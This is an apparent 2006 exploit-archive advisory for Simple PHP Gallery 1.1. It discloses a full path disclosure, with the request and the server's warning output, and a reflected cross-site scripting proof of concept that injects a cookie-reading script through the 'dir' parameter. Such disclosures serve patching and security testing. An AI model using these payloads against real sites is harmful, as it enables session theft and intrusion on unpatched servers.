Home / exploits

PDF

spg-xss.txt

Posted on 27 November 2006

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+                                                                                 ;;ii,,::						+
+                                                 ::::            ::              ;;tt;;::          					+
+                                                 ;;::          ..,,::            ;;ii,,::          					+
+                           ,,,,                ii;;,,          ii;;::            ;;ii,,::          					+
+                           ii::                tt;;,,        ..tt;;,,..          ;;ii;;::          					+
+                         ii,,::                ttii,,        ..ff;;;;::          ;;ii;;::          					+
+                         tt;;::..,,            tt;;,,          ff;;;;ii          ;;ii,,::          					+
+                         tt;;::;;::            tt;;,,..        jj;;,,..          ;;tt,,::          					+
+                         tt;;;;,,              tt;;,,..        tt;;;;            ;;ii;;::          					+
+                     ..::,,;;,,                tt;;,,..        tt;;,,            ;;ii,,::          					+
+                 ..::,,ii;;;;..                tt;;,,..        iiii,,::          ;;ii,,::          					+
+               ::,,ttiijj;;,,                  tt;;;;..        ;;tt,,::          ;;ii,,::          					+
+             ,,;;ii    tt;;,,                  ii;;,,..        ..jj;;::          ;;ii;;::          					+
+           ;;;;::      tt;;::                  tt;;;;..          ff;;::          ;;tt,,..          					+
+         ii;;..      ,,ii;;::                  ii;;,,..          jj;;,,          ;;ii,,..          					+
+       ,,;;,,      ::;;;;;;::                  ii;;;;..          tt;;,,          ;;ii;;..          					+
+       tt;;::::  ::,,;;jj,,::                  tt;;,,..          tt;;,,          ;;ii,,..          					+
+       jj;;;;,,,,,,iiiiii;;::                ..tt;;,,::          iiii,,          ;;ii,,..          					+
+       ;;ffjjttjjttii  ii;;::                ii;;;;;;::          ..jj,,          ;;ii;;..          					+
+           ..;;..      ii;;,,::            ,,;;;;jj;;,,          ..jj,,          ;;ii,,..          					+
+                       iiii;;,,::::....::,,,,;;,,jj;;;;,,::    ::,,;;,,          ;;ii;;            					+
+                       ..ff;;;;;;,,,,::,,;;;;;;  ttii;;;;,,,,,,,,;;;;::          ;;ii,,            					+
+                         jjii;;;;;;;;;;;;;;ii..  ..ff;;;;;;;;;;;;;;;;            ;;ii,,            					+
+                           jjjj;;;;ii;;;;tt..      iijj;;;;;;;;;;ii::            ;;ii::            					+
+                             iijjjjjjtt;;            ;;ffffjjjjtt::              ;;ii              					+
+                                                           ;;..                  ii;;              					+
+                                                                                 ..       						+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+Credit by : Al7ejaz Hacker														+
+																	+
+Script : Simple PHP Gallery 1.1													+
+Impact : Cross site scripting & fullpath disclosure											+
+																	+
+																	+
+Fullpath disclosure :															+
+																	+
+http://localhost/sp_index.php?dir=[Somthingwrong]											+
+																	+
+Result																	+
+																	+
+																	+
+Warning: opendir(123): failed to open dir: No such file or directory in /var/www/html/gallery/sp_helper_functions.php on line 10	+
+																	+
+Warning: readdir(): supplied argument is not a valid Directory resource in /var/www/html/gallery/sp_helper_functions.php on line 11	+
+																	+
+Warning: Invalid argument supplied for foreach() in /var/www/html/gallery/sp_def_vars.php on line 147					+
+																	+
+																	+
+																	+
+																	+
+Cross Site Scripting															+
+																	+
+																	+
+																	+
+dir variable is not probrely verified and can be used to execute html and javascript code						+
+																	+
+http://localhost/sp_index.php?dir=<script>alert(document.cookie)</script>								+
+																	+
+/Milw0rm																+
+																	+
+																	+
+in subject hot :  Cross site scripting & fullpath disclosure  ;)									+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

TOP